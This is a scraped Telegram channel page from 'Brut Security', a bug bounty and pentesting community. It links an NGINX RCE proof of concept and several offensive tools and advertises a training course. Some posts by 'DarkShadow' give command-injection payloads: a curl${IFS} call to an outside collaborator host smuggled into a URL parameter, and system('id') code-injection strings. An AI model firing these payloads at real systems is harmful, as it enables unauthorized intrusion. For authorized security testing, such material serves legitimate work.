Brut Security
17.8K subscribers
1.15K photos
102 videos
362 files
1.26K links
✅DM: @wtf_brut
✅For Ad: https://tlmtr.io/p/2flAsc
🛃WhatsApp: https://wa.link/brutsecurity
🈴Training: https://brutsecurity.com
📨Mail: info@brutsec.com
Download Telegram
⚠️CVE-2026-42945: RCE Proof of concept for CVE-2026-42945, a critical heap buffer overflow in NGINX's ngx_http_rewrite_module introduced in 2008

GitHub: https://github.com/depthfirstdisclosures/nginx-rift
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6👍2
🔥 pentest-ai-agents - 35 Claude Code subagents for penetration testing.

😒https://github.com/0xSteph/pentest-ai-agents
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13
Cooking something powerful behind the scenes…⚡
Upload coming soon — stay ready.

~DarkShadow
❤7🗿6
🦊 GRAFANA FINAL SCANNER v2.0
😈https://github.com/Zierax/Grafana-Final-Scanner
Please open Telegram to view this post
VIEW IN TELEGRAM
❤10
True Reaction: 😆😆😆💀
😁28🫡2❤1
Hey Hunter's,
DarkShadow is here back again!

?url= ❌SSRF, ✅RCE

If you find a parameter that passes through the URL, before testing for SSRF, try testing for RCE.


1. bypass: ?url=http://x"; [now add here your blind rce payload]

2. payload: curl${IFS}burp-collab-link;#


Now, guys, if you genuinely enjoy reading such methods, show your appreciation. I’ll soon publish a very interesting tool!

And Don't forget to follow me x.com/darkshadow2bd

#rce #bugbounty #bugbountytips
❤12🔥5👍1
Hey Hunter's,
DarkShadow is here back again!

Just now, I’ve dropped a new tool on GitHub that can hide anything inside nothing!

This is called Project-Invisible. Here’s the GitHub link:
https://github.com/darkshadow2bd/Project-Invisible

And don’t miss the full video on my YouTube channel:
https://youtu.be/t4yTY0Cg6Ds?si=ZG99_pev06yZFHGi

If you’re interested, you can join my YouTube channel. I’ll upload my methods regulerly in YouTube videos if you guys join here.

#tools #bugbountytips
❤4👨‍💻2👍1
🦊 BRUT SECURITY – NEW BATCH STARTING FROM JUNE

👾Master Practical Web Pentesting & Bug Bounty Hunting from scratch to advanced level.

✅ Real-world web attacks
✅ Live practical sessions
✅ Bug bounty methodology
✅ Recon to exploitation
✅ Report writing & workflow
✅ Beginner friendly + advanced concepts

📅 Batch Starts: June 2026
📍 Online Live Classes, Weekend Batch
📩 Limited seats available

🔙🔜DM http://wa.link/brutsecurity
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4
Hey everyone 👋
Been a little inactive for the past few days, but we’re back.

Just a reminder for all of you learning cybersecurity, bug bounty, OSINT, pentesting, or anything in tech, don’t stop because progress feels slow. Most people quit right before things start making sense.

Every recon command you run, every failed exploit, every late-night lab session… it all compounds. One day you’ll look back and realize those small consistent efforts changed your entire life.

Keep learning. Keep building. Keep breaking things ethically.

Big things are coming for this community soon. Appreciate every single one of you for staying here and supporting Brut Security ❤️

Stay sharp.
❤10🔥5👍1
Hye Hunter's,
DarkShadow is here back again!

Blind RCE in load model💀

if you see any endpoint which load model/function from client side try:

1) you can find ../../ FLI easily
2) system('id'); php functions for code injection
3) \"exec\" try blind rce using your burpcollab



guy's you can join my new youtube channel i'll upload here reguler videos youtube.com/@darkshadow2bd

#rce # bugbounty # bugbountytips
🔥6❤4👍1
😈Turn your Burp Suite findings into clean, professional cards, ready for reports, bug bounty submissions, and social sharing.

🚨https://github.com/JFOZ1010/repshot
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤5